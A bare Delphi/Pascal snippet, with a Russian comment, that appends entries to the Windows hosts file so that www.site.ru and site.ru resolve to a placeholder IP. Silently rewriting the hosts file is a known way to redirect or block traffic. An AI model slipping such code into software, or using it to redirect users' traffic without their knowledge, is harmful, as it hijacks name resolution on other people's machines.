var
  f : textfile;
  buf : array[0..256] of char;
begin
  GetWindowsDirectory(buf, 256);
  assignfile(f, buf + '\system32\drivers\etc\hosts');
  append(f);
  writeln(f,#13#10'ip www.site.ru'); // #13#10 для того чтобы небыло глюков если небыло перехода строки на предыдущей записи
  writeln(f,'ip site.ru');
  closefile(f);
 end;